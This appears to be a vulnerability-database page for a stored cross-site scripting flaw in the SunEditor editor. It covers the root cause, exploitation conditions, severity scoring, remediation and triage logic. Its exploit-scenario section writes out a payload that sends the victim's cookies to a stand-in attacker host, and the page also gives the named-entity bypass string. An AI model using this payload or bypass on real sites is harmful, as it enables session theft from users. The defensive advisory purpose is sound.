Skip to main content

SunEditor CVE-2026-124494

| EUVDEUVD-2026-119549 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-11-08 VulnCheck GHSA-cm78-x5pp-rjx2
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject href with javascript: entity
  2. Delivery
    Bypass html.clean() _normalizeURL sanitizer check
  3. Exploit
    Payload stored in host application
  4. Execution
    Victim clicks stored link
  5. Impact
    Browser decodes colon and executes JavaScript, stealing session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the host application rely on SunEditor's client-side html.clean() sanitizer (default configuration, strictMode:true) as its trust boundary for user-supplied HTML, that the attacker can submit content containing an anchor href using the javascript&colon; named-entity encoding, that this content is stored and later rendered to other users, and - per UI:A/UI:R - that a victim actually clicks the crafted link. Affected versions are SunEditor <=3.3.1; the bug is in _normalizeURL() in src/core/logic/dom/html.js, which decodes named entities to an empty string. Limiting factors: the required victim click, the need for the application to depend on this specific sanitizer rather than independent server-side sanitization or a strict Content-Security-Policy, and that numeric entities (e.g. &#58;) are correctly blocked so only the named-entity vector bypasses the check.

Impact

This is a genuinely high-priority issue, and the signals mostly agree. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A) describes a network-reachable, low-complexity stored XSS that requires only that a victim later click a malicious link - the one meaningful brake is that user interaction (UI:A). The vuln.today decision label is 'act_now' and a vendor patch is available (fixed in 3.4.0), which together argue for prompt remediation rather than deferral. The root cause is well understood from the GitHub Security Advisory source-code evidence: _normalizeURL() decodes the named entity &colon; to an empty string, so javascript&colon;alert(1) normalizes to javascriptalert(1), passes _isSafeURL(), yet is decoded back to javascript: by the browser - a confirmed sanitizer-bypass logic flaw, not a theoretical one. No CISA KEV listing is present in the input and no EPSS score was supplied, so there is no evidence of active in-the-wild exploitation despite the high score; the urgency here rests on the 'act_now' decision label, the confirmed exploitable logic bug, and the detailed PoC in the advisory rather than on observed attacks. Note that real-world risk is conditional: exploitation depends on a host application trusting SunEditor's client-side sanitizer as its security boundary, so applications doing their own server-side sanitization are less exposed.

Exploit ScenarioDerived

An attacker submits rich-text content (e.g., a comment, profile field, or message) containing a link whose href is javascript&colon;document.location='http://evil.com/?c='+document.cookie. SunEditor's html.clean() sanitizer fails to recognize the obfuscated colon and stores the link intact; when another user later views the content and clicks the link, the browser decodes &colon; to : and executes the attacker's JavaScript in the victim's session. The advisory includes a detailed public PoC demonstrating the bypass (a public PoC reference exists; it is not verified as working exploit code), and because UI:A applies, exploitation requires the victim to click the stored link.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 08, 2026

Stored cross-site scripting in SunEditor through 3.3.1 allows an attacker to bypass the html.clean() URL sanitizer by encoding the colon in a javascript: link as the HTML named entity &colon;, so a stored href that passes _isSafeURL() is decoded by the browser into executable JavaScript when a victim clicks it. The issue affects the default strictMode:true configuration and applications that treat SunEditor's client-side sanitizer as the trust boundary for user-supplied HTML. The GitHub advisory includes a public proof-of-concept/reproducer that is not confirmed as working exploit code, active exploitation is not confirmed in the supplied intelligence, and the vendor fix is version 3.4.0; the priority label is act_now and the supplied CVSS 4.0 score is 9.3.

RemediationAI

Upgrade to SunEditor 3.4.0 or later; this is the vendor-released patch and the npm package fix version is 3.4.0. If upgrading immediately is not possible, do not treat SunEditor's client-side html.clean() as the sole trust boundary: sanitize and validate user-supplied HTML server-side with an allowlist that resolves named entities before URL checks, and enforce a Content-Security-Policy that blocks javascript: navigation and inline script, noting that these controls require application changes and CSP compatibility testing. Because stored content may already contain javascript&colon; hrefs, re-sanitize or remove such links from existing rich-text records. Consult the GitHub advisory at https://github.com/JiHong88/suneditor/security/advisories/GHSA-v4jx-8pj6-w4w8 and the VulnCheck advisory for the vendor's guidance; the supplied priority label is act_now.

Affected VersionsENISA

suneditor 0 <3.4.0

Affected Packages

euvd suneditor fix: 3.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SunEditor is a vanilla JavaScript WYSIWYG editor; its html.clean() sanitizer is intended to remove dangerous markup from user-supplied rich text. In src/core/logic/dom/html.js, _normalizeURL() decodes entities before _isSafeURL() checks the URL, but its regex replacement returns an empty string for named entities while handling numeric entities correctly. Consequently, 'javascript&colon;alert(1)' is normalized to 'javascriptalert(1)', which has no colon and passes the safe-URL test, whereas the browser later decodes &colon; to ':' and produces a javascript: URL. This is CWE-79 (improper neutralization of input during web page generation), and the href attribute is in the default whitelist, so the bypass works under strictMode:true. The affected package family is identified by CPE cpe:2.3:a:jihong88:suneditor:*:*:*:*:*:*:*:*; EUVD lists versions 0 through <3.4.0, with the npm package reported vulnerable through 3.3.1. Numeric-entity payloads such as javascript&#58; are correctly blocked, so the named-entity form is the specific bypass path. Exploitation requires that stored content be rendered to another user and that the victim click the crafted link; the supplied CVSS vector has PR:N (no privileges required) but UI:A (victim interaction required).

Know when Suneditor gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
vuln.today AI 9.3 CRITICAL

Network-delivered stored XSS needing no attacker privileges but a victim click (UI:R); code runs in the victim's browser context (S:C) enabling session theft and account actions, so C:H/I:H, A:N.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Nov 08, 2026 - 14:01 EUVD
CVE Published
Nov 08, 2026 - 13:16 cve.org
CRITICAL 9.3

DescriptionCVE.org

SunEditor before 3.4.0 contains a stored cross-site scripting vulnerability because the html.clean() sanitizer's _normalizeURL() function decodes named entities like &colon; to an empty string. Attackers can inject href values such as javascript&colon; that pass the _isSafeURL() check but are decoded by browsers, executing JavaScript when victims click stored links.

Technical POC Analysis

Stored XSS in suneditor (CWE-79, Improper Neutralization of Input During Web Page Generation).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

The widely used SunEditor rich-text component contains a critical stored cross-site scripting flaw (CVE-2026-124494) that allows malicious JavaScript to be embedded in user content and executed when victims interact with it. Because this affects the default configuration and applications relying on SunEditor's client-side sanitizer, any organization using SunEditor version 3.3.1 or earlier to handle user-generated HTML is exposed to session hijacking and data theft, posing direct risk to customer and employee accounts.

Business Impact: High
Compensating Controls

Apply vendor patch. Until patched, restrict use of SunEditor to trusted authors, enforce additional server-side HTML sanitization (e.g., allow-list based), and deploy WAF rules to block encoded javascript: URLs in stored content.

Threat Intelligence Overview

EPSS Score
0.3%
Top 72% exploitable
Prevalence
Medium
popular open-source JavaScript WYSIWYG editor library, common but not everywhere
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy